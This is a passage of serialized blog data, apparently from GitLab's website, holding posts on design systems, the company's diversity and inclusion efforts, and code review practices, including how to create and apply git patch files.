Industry","en-us/blog/what-diversity-inclusion-and-belonging-looks-like-in-the-tech-industry.yml","en-us/blog/what-diversity-inclusion-and-belonging-looks-like-in-the-tech-industry",{"_path":23205,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23206,"content":23212,"config":23217,"_id":23219,"_type":16,"title":23220,"_source":17,"_file":23221,"_stem":23222,"_extension":20},"/en-us/blog/helping-organizations-build-successful-design-systems",{"title":23207,"description":23208,"ogTitle":23207,"ogDescription":23208,"noIndex":6,"ogImage":23209,"ogUrl":23210,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23210,"schema":23211},"Benefits of building a design system for your organization ","At GitLab, we want to help organizations build successful design systems. In order to do that, we are looking for your feedback.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681349/Blog/Hero%20Images/helping-organizations-build-successful-design-systems.png","https://about.gitlab.com/blog/helping-organizations-build-successful-design-systems","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Benefits of building a design system for your organization \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Taurie Davis\"}],\n        \"datePublished\": \"2020-06-16\",\n      }",{"title":23207,"description":23208,"authors":23213,"heroImage":23209,"date":23214,"body":23215,"category":18484,"tags":23216},[19672],"2020-06-16","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n## Creating a design system\n\nOver the last few years, GitLab has invested in the creation of [Pajamas](https://design.gitlab.com/), our living\ndesign system. We believe that a design system can help us scale more efficiently by creating a shared\nvision and language that is used across departments and teams. \n\nNow, we're interested in hearing from our\ncommunity: **How can GitLab help you build a successful design system in your own organization?**\n\n### What is a design system\n\nA design system is a series of documentation that includes both design practices, as well as frontend guidelines.\nLive coded demos are included to allow cross-functional teams to easily reuse styles and components in\nseveral instances across your product. The underlying principles and guidelines that you develop are what\nset your design system apart from others.\n\n### Benefits of a design system\n\nDesign systems provide many benefits to organizations including:\n\n**Efficiency**\n- Product Designers can spend more time solving problems and less time designing (and redesigning) UI components.\n    Components can be reused, making design efforts scalable and ensuring the UI stays [DRY](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself).\n- Engineers can reference design documentation that helps them to easily eliminate inconsistencies between\n    design and code without assistance from a Product Designer.\n- Engineers can find coding and development guidelines that help them write better code and conform\n    to set practices more efficiently.\n- Product Managers can quickly propose solutions that follow documented usability guidelines.\n\n**Consistency**\n- Teams can make fast, continuous feature additions within their iterative groups, while still maintaining\n    consistency with other product areas.\n- Users can get up to speed more quickly on new features, because they don’t need to spend time learning how to\n    interact with inconsistent UI patterns.\n- Product Designers can feel more confident that their designs are visually appealing, consistent, accessible, and on brand.\n- Marketing and UX departments can create consistent experiences across platforms through a shared visual language.\n\n**Improved communication**\n- Teams can quickly envision and align on the details of how a proposed solution might be implemented.\n- Organizations are able to prove to customers that they have a deep commitment to improving the experience of the product.\n- Departments are aligned through shared principles and personas.\n\n## Challenges with design system integration\n\nAlthough the benefits of a design system may be clear to many, most organizations struggle with integrating a design\nsystem workflow into their organization. Building a design system takes more upfront planning and gaining buy-in from\nyour organization’s executive team can be difficult.\n\n## How can GitLab help?\n\nAt GitLab, we recognize the benefits a design system can bring to an organization, and we're exploring whether we can support other organizations with this experience. For this reason,\nwe’ve begun drafting a [design system direction page](/direction/manage/foundations/) that focuses on providing a foundation\nfor your organization to begin building and implementing your own design system.\n\nWe’d love to know more about  whether your organization has begun building its own design system:\n\n- Whether your organization has begun building your own design system\n- If yes, how has a design system helped you? What struggles have you faced with implementing a design system?\n- If no, what has stopped you?\n\nIf you have thoughts, suggestions, or feedback, please contribute to our \n[Design System MVC and Roadmap Discussion issue](https://gitlab.com/gitlab-org/gitlab/-/issues/219445).\n",[7715,2248],{"slug":23218,"featured":6,"template":678},"helping-organizations-build-successful-design-systems","content:en-us:blog:helping-organizations-build-successful-design-systems.yml","Helping Organizations Build Successful Design Systems","en-us/blog/helping-organizations-build-successful-design-systems.yml","en-us/blog/helping-organizations-build-successful-design-systems",{"_path":23224,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23225,"content":23231,"config":23235,"_id":23237,"_type":16,"title":23238,"_source":17,"_file":23239,"_stem":23240,"_extension":20},"/en-us/blog/our-journey-to-a-diverse-and-inclusive-workplace",{"title":23226,"description":23227,"ogTitle":23226,"ogDescription":23227,"noIndex":6,"ogImage":23228,"ogUrl":23229,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23229,"schema":23230},"Our journey to a more diverse and inclusive workplace","GitLab is taking action to create a more equitable and representative workplace for underrepresented groups.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679254/Blog/Hero%20Images/dib_mit.png","https://about.gitlab.com/blog/our-journey-to-a-diverse-and-inclusive-workplace","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Our journey to a more diverse and inclusive workplace\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2020-06-16\",\n      }",{"title":23226,"description":23227,"authors":23232,"heroImage":23228,"date":23214,"body":23233,"category":299,"tags":23234},[17272],"\n\nDespite the talent of Black leaders, there are glaring disparities in representation of Black professionals in positions of power in a number of industries, including in tech. About 5% of tech professionals are African American, and less than 2% of tech executives are African American, according to data from the [Harvard Business Review](https://hbr.org/cover-story/2019/11/toward-a-racially-just-workplace).\n\nGitLab is not immune to diversity disparities in leadership. At GitLab, we have [zero Black or Latinx director-and-above leaders](/company/team/structure/#layers). Our CEO, [Sid Sijbrandij](/company/team/#sytses), is committed to fixing this by hiring or promoting internally by 2021, along with a host of other diversity, inclusion, and belonging (DIB) actions that were already in development to make GitLab a more diverse and inclusive company, where everyone feels a sense of belonging.\n\n\"The past few weeks have reinforced for me the importance of being an ally and taking action to create more diversity within our company,\" says Sid. \"Our executive team believes we can do more to ensure that the diversity of our workforce better reflects the diversity we see in the world.\"\n\n\"A key metric we are focused on is the number of Black senior leaders at GitLab,\" he adds. \"Currently, we have zero Black team members at GitLab in the role of director and above. This is not a number we are proud of, so we are taking action to correct this by 2021 through hiring or promotion. We will continue to iterate on diversity goals in order to have and maintain a diverse and inclusive leadership team.\"\n\nThis blog post is the first in a multi-part look at DIB, a series that was started well before the spring 2020 deaths of George Floyd, Breonna Taylor, Ahmaud Arbery, and countless others, sparked a global movement. Racism is a global issue, and the protests over these killings in the United States has been a catalyst for action globally, in and out of the workplace. We’ll make the business case for DIB another day; instead we’re going to jump right into what we’ve done and what we still need to do at GitLab. We hope that our transparency about our journey might make it easier for other companies on the same path. It will also hold us accountable.\n\nIn recognition of the abundance of talent in the Black community, and the lack of Black director-and-above leaders at GitLab, we have committed to fixing this diversity deficit by 2021 through hiring or promotion. Based on our [self-reported employee identity data](/company/culture/inclusion/identity-data/), we are also going to look at other groups that have low or no representation on our team, such as our Latinx and Native/Pacific Islander colleagues. Our plan is to be even more intentional and rigorous about recruiting and promoting to create a more diverse and inclusive leadership team, including Black, Latinx, and other underrepresented groups.\n\n## Start with values\n\nGitLab has been a company since 2014, and diversity, inclusion, and belonging have always been part of our core values. But it wasn’t a formal part of our business strategy until five years in, after we hired [Candace Byrdsong Williams](/company/team/#cwilliams3) as the diversity and inclusion partner in spring 2019. By hiring Candace, we felt we were making DIB a formal part of the company’s business strategy.\n\nResearch shows building a more inclusive workplace where everyone feels a sense of belonging is not just the right thing to do, it’s also good for business. The best way to reduce attrition of underrepresented groups and cultivate a truly inclusive workplace is to create opportunities for advancement.\n\nCandace’s role as the DIB partner is to help introduce diversity initiatives and help us create a more inclusive workplace, and there is no question that she’s made strides.\n\n\"We are now taking a deeper dive of iteration into key metrics with a closer focus on women in GitLab as a whole, women in management, and women in senior leadership,\" says Candace. \"We are paying close attention to the current trends, as well as attrition and trying to set realistic goals based on these metrics. Also as next steps, we are establishing our key metrics for race starting with Black team members using the same application with metrics.\"\n\nCandace is a team of one at GitLab, but she is making big changes to grow our DIB program. Here are just a few examples of past and upcoming projects Candace, and other internal partners, are working on:\n\n*   Established TMRGs (employee resource groups) with guidelines and continuing to stand up additional TMRGs\n*   Established the DIB Advisory Group at GitLab\n*   [Established DIB Trainings/Resources](/company/culture/inclusion/#diversity-inclusion--belonging-training-and-learning-opportunities)\n*   Conducted a DIB survey to get a pulse on how DIB is seen and felt at GitLab today\n*   Published the [Building an inclusive all-remote culture](/company/culture/inclusion/building-diversity-and-inclusion/) handbook page, which speaks to GitLab’s unique ability to create a more inclusive environment through all-remote work.\n*   [Established DIB timelines summary of events](/company/culture/inclusion/diversity-and-inclusion-events/)\n*   [Iterating on our mission statement](/company/culture/inclusion/#gitlabs-definition-of-diversity-inclusion--belonging): Established the mission statement with further iteration to now include \"Diversity, Inclusion, and Belonging.\" **Belonging** is acknowledgement of your voice being heard along with creating an environment where team members feel secure to be themselves.\n*   Established key metrics for underrepresented groups and continuing to iterate\n*   Conducts our monthly DIB company call for all to see what is going on in the DIB space at a high level\n*   Plans for a 2019 DIB report to capture our learnings from last year and continue to produce reports moving forward\n*   DIB Speaker Series: External speakers are invited to join GitLab team members in a discussion about DIB topics in Q2-Q3 2020\n*   A new issue board for TMRGs (e.g., [the Minorities in Tech Employee (MIT) TMRG issue board](https://gitlab.com/gitlab-com/diversity-and-inclusion/-/boards/1634805?label_name[]=TMRG)) to help track all the activities our TMRGs are doing\n*   Increase participation for existing and [new TMRGs](/company/culture/inclusion/erg-guide/)\n\n## It’s hard work\n\nThe fact is, building a more diverse and inclusive workplace takes time, effort, intentionality, and persistence. At GitLab, we’ve made [DIB one of our core values](https://handbook.gitlab.com/handbook/values/#diversity-inclusion), but that doesn’t mean our company is immune to the challenges.\n\nThrough research and conversation with leaders in the diversity, inclusion, and belonging space, we’ve summarized some common diversity and inclusion challenges and identified opportunities for growth in GitLab’s DIB strategy, but many of these decisions require resourcing and buy-in from leadership. Our team is reviewing these recommendations and will be considering these updates to our DIB strategy.\n\n**One of the most common challenges with diversity and inclusion is that the responsibilities are frequently allocated to a person of color who is responsible for diversity and inclusion along with their day job, according to [reporting in the HBR](https://hbr.org/cover-story/2019/11/toward-a-racially-just-workplace).**\n\n**The upside**: We’ve hired Candace, who is responsible for DIB at GitLab full-time.\n\n**The downside**: She is a team of one, meaning she has to rely on collaborative efforts with other teams and the volunteer efforts of TMRG leads.\n\nFor example, Candace planned the strategy, rollout, and process for standing up new TMRGs, then team members signed up and the TMRG leads were designated. Candace continues to work closely with TMRG leads for planning, oversight, and alignment with DIB and company goals. Another recent collaborative effort with other team members was adding executive sponsors from our E-group to TMRGs to assist in amplifying the voice and buy-in from leadership from the top down. Support from executives and visibility of leadership in DIB is imperative to its success.\n\n**We rely upon volunteers, often people from underrepresented groups, to work on diversity and inclusion initiatives along with their day jobs. This can lead to \"diversity fatigue,\" as they are the ones pushing the conversation forward or are seen as \"cultural ambassadors\" and are constantly fielding questions.**\n\n**The upside:** Our TMRG leaders are highly engaged, talented people.\n\n**The downside:** They are not paid to lead DIB efforts, but rather have a day job at GitLab that is unrelated to their work with the TMRGs.\n\n**The solution:** It is the responsibility of all team members at GitLab to drive a culture of belonging, which feeds into our recommendation to grow our ally base at GitLab. If we could grow our ally base to include more people that are not from underrepresented groups, we can help shift some of the burden from volunteers from underrepresented groups to include everyone at GitLab.\n\nIn lieu of more hires, more volunteers can increase our capacity to build more robust programs and will alleviate some of the program management burdens Candace and TMRG leaders are carrying in addition to their other jobs at GitLab.\n\n**Oftentimes, the diversity and inclusion team will be nestled within human resources, and not at the executive level, which can make it more challenging to advance diversity initiatives outside of HR activities.**\n\n**The upside**: Candace is the DIB lead and she reports to [Carol Teskey](/company/team/#cteskey), senior director of People Success, who is highly engaged in DIB initiatives. Our executive team recognizes both the business and intrinsic value of building robust DIB initiatives, and as a result we have not had the experience of DIB being sidelined; in fact DIB remains a top priority.\n\n**The downside**: We do not have anyone at the executive level that is solely responsible for DIB.\n\n**The solution**: GitLab is a growing company, and DIB is one of our core values. We are currently in the process of recruiting for a Chief People Officer, who will be responsible in part for DIB initiatives in partnership with Candace and Carol. By placing someone in a senior leadership or executive-level role that is committed to championing DIB initiatives we give DIB a seat at the executive table.\n\n**[Companies don’t often launch with a diversity and inclusion program already in place](https://hbr.org/2018/07/the-other-diversity-dividend), which means the diversity and inclusion lead has to work backwards on many initiatives. This phenomenon is often demonstrated by a homogeneous group of people (often, white men) in leadership roles.**\n\n**The upside:** We have the commitment from our CEO to work on recruiting and promoting more underrepresented groups to leadership roles. We also have buy-in from senior leadership to [build a mentorship program](/company/culture/inclusion/erg-minorities-in-tech/mentoring/) that will help people of color already working for GitLab to advance within the company. We’re also constantly iterating on our hiring process to ensure we are drawing from diverse talent pools (see below!).\n\n**The downside:** GitLab started in 2014, and our first hire devoted solely to DIB was in 2019, so we’re building and integrating programming within an existing infrastructure. There is a lack of diversity among people at the director level or higher, which we are working hard to remedy with new hires or promotions by 2021.\n\n**The solution**: The Minorities in Tech (MIT) TMRG is working with GitLab DIB to draw upon existing repositories for diverse talent by working with partners at historically Black colleges and universities (HBCUs), and organizations such as [AfroTech](https://afrotech.com/), etc. Candace has worked closely with our leadership and data team to review trends in hiring for our metrics and working on setting ambitious metrics around hiring underrepresented minorities for leadership roles.\n\nGitLab has also moved to a unique, [outbound hiring model](/handbook/hiring/candidate/faq/) that allows us to source a diverse pipeline of candidates for our [current and future roles](/jobs/). We’ve launched a number of [hiring initiatives](/company/culture/inclusion/talent-acquisition-initiatives/) to support this model and achieve our [objectives and key results](/company/okrs/fy21-q2/#3-ceo-great-team), including a training on diversity sourcing for our hiring teams and managers, as well as sourcing sessions that are dedicated to identifying candidates from underrepresented groups for some of our high-priority roles. Our approach also extends through the interview process. We’ve created [training](/company/culture/inclusion/#diversity-inclusion--belonging-training-and-learning-opportunities) on how to interview inclusively, we use inclusive language in our recruiting outreach, and we offer candidates the opportunity to connect with our employee resource group (TMRG) members during the hiring process.\n\n## The time is now\n\nThe journey to a more diverse and equitable workplace takes time, and for us the time is now. Senior leaders at GitLab are strongly engaged in DIB initiatives and have committed to allyship, but we recognize that change is happening too slowly.\n\nWe recognize that the Black community in particular is hurting right now. We see that the tech industry leaves too many talented people behind, or pushes them out due to unfair and noninclusive workplace practices. At GitLab everyone can contribute, and we want those contributions to be seen, heard, and felt at all levels of the company, by everyone in the company.\n\n_In our next blog post, we’ll dive into some of the challenges with diversity, inclusion, and belonging in the tech industry as a whole, and share some recommendations on how to overcome them._\n",[676],{"slug":23236,"featured":6,"template":678},"our-journey-to-a-diverse-and-inclusive-workplace","content:en-us:blog:our-journey-to-a-diverse-and-inclusive-workplace.yml","Our Journey To A Diverse And Inclusive Workplace","en-us/blog/our-journey-to-a-diverse-and-inclusive-workplace.yml","en-us/blog/our-journey-to-a-diverse-and-inclusive-workplace",{"_path":23242,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23243,"content":23248,"config":23253,"_id":23255,"_type":16,"title":23256,"_source":17,"_file":23257,"_stem":23258,"_extension":20},"/en-us/blog/better-code-reviews",{"title":23244,"description":23245,"ogTitle":23244,"ogDescription":23245,"noIndex":6,"ogImage":19300,"ogUrl":23246,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23246,"schema":23247},"Better Code Reviews GitLab Style","Better Code Reviews - A selection of tools for your tool-belt when it comes to code reviews.","https://about.gitlab.com/blog/better-code-reviews","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Better Code Reviews GitLab Style\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David O'Regan\"}],\n        \"datePublished\": \"2020-06-08\",\n      }",{"title":23244,"description":23245,"authors":23249,"heroImage":19300,"date":23250,"body":23251,"category":18484,"tags":23252},[2680],"2020-06-08","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n> A love letter to anyone that's ever reviewed or been reviewed.\n\nThis blog post originally started as a thank-you message inside the GitLab slack channel `#thanks`, however, the scope of the message grew to such a degree that I wanted to take it a step further and see if I could not only thank the amazing people this post is dedicated to, but also hopefully share some of the amazing things they taught me to help *you*, dear reader.\n\nI have always been rather passionate about feedback. For as long as I can remember, I have always sought feedback on everything I was interested in. It's as true for me in software as it is for my non computer related hobbies like bodybuilding or grammar.....**cough cough**. Feedback is so important for every aspect of life, and in software it is no different. Feedback matters and in GitLab, we deliver most if not all of our feedback to one another via the code review.\n\nThis post is designed to deliver a selection of the most fantastic things I have seen in code reviews here at GitLab, with two goals:\n\n1. Acknowledge the people who work hard to ensure the feedback cycle they provide is as good as it can be, because at GitLab we like to [say thanks](https://handbook.gitlab.com/handbook/values/#say-thanks).\n1. Offer you, the reader, a selection of tools for your toolbelt when it comes to code reviews.\n\nEnter - **Better Code Reviews**.\n\n## Self Reviews - Details Matter\n\n> Before assigning MRs to the reviewer I practice a self-review to help the reviewer and the maintainer understand quirks and caveats of the MR. I am trying to anticipate their concerns/questions. As a maintainer I find it also very valuable. - Peter Leitzen ([@splattael](https://gitlab.com/splattael))\n\nWe often take for granted that details are hard. Moreover, we often take for granted that details in software are even harder. The majority of software consists of layers upon layers of deep abstractions and obscure logic that can be difficult, if not impossible, to really understand without spending a significant amount of time parsing it line by line.\n\nThis process is made even harder when the details or context are incorrect. Though it's natural for this to happen, humans are not spell checkers, nor do the majority of us like to revisit a piece of work a fourth or fifth time to ensure it's as correct as it can be. If we all did this, nothing would ever be delivered.\n\nBut - there is a sweet spot to be found for this dilemma in software where we can keep the velocity of delivery high, and also reduce the feedback cycle time through a small amount of dedicated effort to the details. We talk about some of the details [here in the responsibility of the merge request author](https://docs.gitlab.com/ee/development/code_review.html#the-responsibility-of-the-merge-request-author).\n\nFor the merge request author, step through a checklist. Here is mine. If you can't read my chicken-scratch handwriting, I'll type it out too:\n\n![merge-checklist](https://about.gitlab.com/images/blogimages/merge-checklist.png)\n\nBefore every feedback cycle:\n\n- Re-read every line\n- Test your code locally\n- Write a test for every change (or as many as you can)\n- Write a clear description and update it after each feedback cycle\n- Include at least one screenshot per change. More is better\n- Check, re-check and re-check your labels\n- Consider using a `~\"workflow::refinement\"` label for issues ahead of time like we do in the Monitor:Health team\n- Review the code as if you were the reviewer. Be proactive, answer the likely questions, and open followup issues ahead of time\n\nIf you want to see the last and most important part in action, check out one of our frontend maintainers Natalia Tepluhina([@ntepluhina](https://gitlab.com/ntepluhina)) pre-answer a question she knew would be asked in [one of her merge requests](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33587#note_353564612).\n\n## Conventional Comments - Communicate Intent\n\n>  **Shaming** This is horrible code. How about re-writing all of it so that it stops being that bad? - Frédéric Caplette ([@f_caplette](https://gitlab.com/f_caplette))\n\nOne of the hardest parts of getting a code review right is communicating the human touch. When we offer feedback and receive feedback, human habit creates cognitive distortion by defaulting to the most negative aspects of that feedback. At GitLab, we try to highlight that in our [value system](https://handbook.gitlab.com/handbook/values/#assume-positive-intent).\n\nIn the world of psychology, this is called **mental filtering**, and it's something that all humans have a tendency to do. Though in software this affliction can be more common, as working in software goes hand-in-hand with valuing yourself based on how intelligent others think you are.\n\nEnter [conventional comments](https://conventionalcomments.org/) by Paul Slaughter ([@pslaughter](https://gitlab.com/pslaughter)) - a well thought-out system for leaving comments in a useful way for both the reviewer and author of the merge request. It's so popular one amazing person made a [browser extension (chrome, firefox)](https://gitlab.com/conventionalcomments/conventional-comments-button) for it!\n\nSo why does adding a single bolded word to the top of a comment help with the human touch? Well, it's all about intent.\n\nWhen you start the comment with an eye-catching single word that defines the intent and tone for the comment, it gives the reader a chance to understand where your comment is coming from.\n\nLet's try an experiment. If you had submitted code for review, which comment would you prefer to read?\n\nOption one:\n\n```bash\nWhat do you think about X instead?\n```\n\nor option two:\n\n```bash\n**suggestion (non-blocking)**\n\nWhat do you think about X instead?\n```\n\nNow if you're anything like me, you took a preference to option two. It had context, communicated empathy, and was an invitation to try something different rather than a command.\n\nThe magic part of this comment is the first line `**suggestion (non-blocking)**`. Straightaway, before you even read the comment, you know the two most important things about it:\n\n1. It's a suggestion from the reviewer\n1. It's non-blocking, communicating it's more of a friendly suggestion then a hard change that's needed\n\nAnother massive advantage this style of commenting has: it allows merge request authors to understand the reviewer is neither trying to block nor act as a gatekeeper for their work. By highlighting what counts as a blocking and a non-blocking comment, merge authors get the full context of what the reviewer is trying to communicate.\n\nTo demonstrate this, let's try another thought experiment! You have submitted a merge request for review and your review comes back with eight comments.\n\n- **Scenario A: No context in comments.** All comments are treated equally because they lack context for what counts as a blocker and what doesn't.\n- **Scenario B:** Context added via conventional comments system.\n\nThe comments can be treated via priority:\n\n1. Blockers => What's needed to get the merge over the line.\n1. Non-blockers => What can be a separate merge or perhaps a discussion.\n\nNext time you're reviewing code, try using conventional comments and watch how it affects not only the way the merge request author feels about the review, but the way **you**, the reviewer, feel leaving the review. My guess is you'll feel a lot better.\n\nWe're currently looking at [integrating this feature directly into GitLab](https://gitlab.com/gitlab-org/gitlab/-/issues/26891) because we believe in making GitLab the best possible place for code reviews, and want you to have the best experience possible.\n\nIf you want to see a real-life example of some of Paul Slaughter's ([@pslaughter](https://gitlab.com/pslaughter)) awesome work using conventional comments, check out [his reviews of my community contributions](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/24897) here at GitLab. That empathy shines through.\n\n## The Patch File\n\n> Here's a patch file to better explain - Denys Mishunov ([@dmishunov](https://gitlab.com/dmishunov))\n\nWanna know a `git` secret? Patch files are the stuff of magic. If you want to read about them, [check the Git documentation for patches](https://git-scm.com/docs/git-format-patch).\n\n### How To Make A Patch File\n\nYou can make a patch file via your editor, or via the command line.\n\n#### Via The Editor\n\nRocking a nice fancy IDE or text editor? Most of them support patch files via plugins, or out of the box!\n\n- [VSCode](https://github.com/paragdiwan/vscode-git-patch)\n- [Webstorm](https://www.jetbrains.com/help/webstorm/using-patches.html)\n- [Atom](https://atom.io/packages/git-plus)\n- [Vim](https://vim.fandom.com/wiki/How_to_make_and_submit_a_patch) …life is what happens when you're trying to exit `vim`?\n\n#### Via The CLI\n\nOkay, you’ve made some commits, here’s your `git log`:\n\n```plaintext\ngit log --pretty=oneline -3\n* da33d1k - (feature_branch) Reviewer Commit 1 (7 minutes ago)\n* 66a84ah - (feature_branch) Developer 1 Commit (12 minutes ago)\n* adsc8cd - (REL-0.5.0, origin/master, origin/HEAD, master) Release 13.0 (2 weeks ago)\n```\n\nThis command creates a new file, `reviewer_commit.patch`, with all changes from the reviewer's latest commit against the feature branch:\n\n```plaintext\ngit format-patch HEAD~1 --stdout > reviewer_commit.patch\n```\n\n### Apply The Patch\n\nFirst, take a look at what changes are in the patch. You can do this easily with `git apply`:\n\n```plaintext\ngit apply --stat reviewer_commit.patch\n```\n\nJust a heads up! Despite the name, this command won't actually apply the patch. It will just show the statistics about what the patch will do.\n\nSo now that we've had a look, let's test it first, because not all patches are created equal:\n\n```plaintext\ngit apply --check reviewer_commit.patch\n```\n\nNo errors? Awesome! We can apply this patch without worry.\n\nTo apply the patch, you should use `git am` instead of `git apply`. The reason: `git am` allows you to sign off an applied patch with the reviewer's stamp.\n\n```plaintext\ngit am --signoff \u003C reviewer_commit.patch\nApplying: Reviewer Commit 1\n```\n\nNow run `git log` and you can see the `Signed-off-by` tag in the commit message. This tag makes it very easy to understand how this commit ended up in the code base.\n\n### Why to use them in code reviews\n\nSo now that you know how to make a shiny patch file, why would you use patch files as part of a code review process? There are a few reasons you might consider offering a patch file for a change you feel strongly about:\n\n1. It communicates you have invested a large amount of effort into understanding the author's solution and reasoning\n1. It demonstrates passion for reaching the best solution through teamwork\n1. It offers a willingness on the reviewer's part to accept responsibility for this merge past the point of just reading the code\n\nSome people might argue patch files are a cheeky way for a reviewer to force a change they would rather see make it into the code base, but I argue that anyone who has taken the time to check out a branch, run the project, implement a change, and then submit that change back for a discussion is embodying the value of collaboration to the fullest.\n\nWant to see a awesome example of a patch file in action? Check out one of our frontend maintainers Denys Mishunov ([@dmishunov](https://gitlab.com/dmishunov)) in action using a [patch file to its maximum potential](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31686#note_341534370)!\n\nWe believe so much in creating the best code review experience here at GitLab, we're looking into how can we make this system a [seamless part of the merge request and code review flow](https://gitlab.com/gitlab-org/gitlab/-/issues/220044).\n\n## Fairness\n\n> Fairness is a person's ability to rise above their own prejudice.\n\nFairness is a odd word. Chris Voss, a former FBI negotiator, said in his book [Never Split The Difference](https://www.goodreads.com/book/show/26156469-never-split-the-difference) that:\n\n> “Fair”—the most powerful word in any negotiation scenario. To become a great negotiator, you must earn the reputation of being a fair one.\n\nCode reviews can be viewed as a negotiation. It's you and another human being having a negotiation, based upon the idea that at the end, the result of this negotiation should be a selection of code that is both of value and of a high standard. While you might think that FBI negotiations and code reviews have little to do with one another, the concept being a fair negotiator often can be the most useful tool in your toolbox as both an author and reviewer.\n\nYou can actually see it mentioned twice in the [permissions to play in points 2 and 7](https://handbook.gitlab.com/handbook/values/#permission-to-play) guidelines here at GitLab:\n\n- \"Be dependable, reliable, fair, and respectful.\"\n- \"Seek out ways to be fair to everyone.\"\n\n### Author Fairness\n\nBeing fair as an author is the easier of the two. When you think of being fair as an author you need to adhere to a few simple Do's and Don'ts:\n\nDo:\n- Write a proper description with screenshots (can't stress this one enough)\n- Understand a reviewers point of view when they make suggestions\n- Pre-address strange parts of your merge (we all have them)\n- Be open to [collaboration](https://handbook.gitlab.com/handbook/values/#collaboration) on your work\n\nDon't:\n- \"plz merge\"\n- Forget to write a description with screenshots\n- Be closed off or take offense to suggestions\n- Forget to include any steps needed to get the build running or in other words(reduce burden where possible!)\n\nHonestly, it's pretty simple to be a fair author of a merge request if you use a small amount of empathy and remember that the person reviewing your code **gets nothing extra** for their time spend reviewing their code. They just want to help take your merge to the next level.\n\n### Reviewer Fairness\n\nBeing fair as a reviewers is a tad harder than being fair as an author. But why, I hear you ask? The issue is something called \"bias\" - or [unconscious-bias](https://handbook.gitlab.com/handbook/values/#unconscious-bias), as the handbook defines it.\n\nBias is, for better or for worse, something we all deal with when it comes to how we *want* things to be. We all have our own styles, preferences, and ideas on how software should be written:\n\n> Eslint be damned I want you to use double quotes!\n\nThis creates issues when it comes to code reviews, because it's normal for a lot of your own bias to bleed into a comment. You begin thinking in absolutes and the unresolved discussion count rises.\n\nLet me ask you something. Have you ever reviewed a merge request and found yourself saying things like:\n\n- \"It should be written like this?\"\n- \"Why would they do it like that?\"\n- \"I would have done it *this* way.\"\n- \"That's not how that should be done!\"\n\nWell, my friends, welcome to another common cognitive distortion called \"Should/must statements\". Do you want to be a better code reviewer? The next time you write a comment and it includes the word \"should\" or \"must\", pause right there and really think about why you felt the need to use that word. Sometimes it will be fair and warranted - such as if your company follows a set of coding conventions like we do at GitLab - but stay vigilant for when those statements are a thin veil for a personal preference. Ask yourself if you're being fair with your review. As a reviewer, if you find yourself in need of using a should/must statement, be sure to supply a reference to supporting documentation that is driving your statement.\n\nOne lesson I have learned through my own experience is that there is almost always a reason for something to be done the way it is. The fair response to something you don't agree with is to ask *why* it's being done like that, not saying it *must* be another way. That is how you become a fair and great negotiator.\n\n## The Follow Up\n\n> I feel like the follow up issue should become a first class citizen. - Sarah Yasonik ([@syasonik](https://gitlab.com/syasonik))\n\nLong merges suck. They just do. And while the concept of \"big doesn't always mean good\" might have started with food, it bleeds into the world of software development through merge requests that are too big. They also directly conflict one of our [main values](https://handbook.gitlab.com/handbook/values/#make-small-merge-requests) of iteration. In GitLab, we take this so seriously that [Danger Bot](https://docs.gitlab.com/ee/development/dangerbot.html) will ask you to break down merges that are over a certain size, helping developers champion the [value of iteration](https://handbook.gitlab.com/handbook/values/#iteration).\n\nLarge merge requests create huge amounts of complexity, they're hard to test, they're hard to reason about, they hard to maintain or extend.....and that's just for the author!\n\nSo what's worse than a large merge request? Reviewing a large merge request. If you've ever been pinged to review a merge request that was longer than 1000 lines, you understand what I am talking about. If it hasn't happened to you yet, count your lucky stars that your teammates live and breathe some good habits like simple solutions and iteration, and value a lack of complexity.\n\nThis creates a bigger problem than a complex reading exercise for the reviewer: it creates a context block. When a review grows past a certain amount of lines, it simply becomes too difficult to reason about without checking out the branch, booting the project and smoke testing. While smoke testing complex reviews are a great idea, it should **not** become the default ideal for reviewing.\n\nIf the merge request is too long, the code review is too complex / too long. The code rots, your merge conflicts grow, you can't iterate, you're constantly addressing breaking conflicts … and you're stuck for days, maybe weeks, maybe forever.\n\nSo how do we fix this? In the Monitor:Health team's iteration retrospective, my teammate Sarah Yasonik ([@syasonik](https://gitlab.com/syasonik)) raised a point where she suggested the follow up issue / merge become a first class citizen. I thought she was onto something amazing. If your merge is too long, or your reviews are taking too long, break your merge down, keep the reviews small, and offer follow-ups.\n\nTreat the follow-up merge as a first-class citizen. Do it right there *while reading the reviewer's feedback* instead of adding more code to a already too big merge! Do **not** make a already bloated merge even worse by adding more scope. Divide and conquer where possible.\n\nI think a lot of developers and reviewers find this process difficult because it's a contract of faith: \n\n- I, the author, promise to deliver a follow-up.\n- I, the reviewer, put myself on the line by taking your word that you will in fact fix this issue later.\n\nIt's scary, and lacks polish. I get it, but you should never let tomorrow's perfect stop today's progress because - spoiler alert - tomorrow isn't here, and we really only have today.\n\n### The Author Follow Up\n\nIf you offer a follow up, deliver it. It's your only rule but you cannot break it. Your credit for wilding the follow up resides solely in your consistent ability to deliver on your promises over time. As a author you should also work with your PMs and EMs to help prioritize the follow up as part of a wider team effort.\n\n### The Reviewer Follow Up\n\n- If you are offered a follow up, accept it with grace and trust the developer to make good on their promise.\n- Be open to suggesting follow ups as part of your review.\n- Be patient with people.\n- Allow for wiggle room, but know when to say no. (A follow-up for a non-critical issue is fine, but not a blatant break that won't add more lines or context.)\n\n## The Art Of The GIF\n\n>  If a Picture Speaks 1,000 Words a 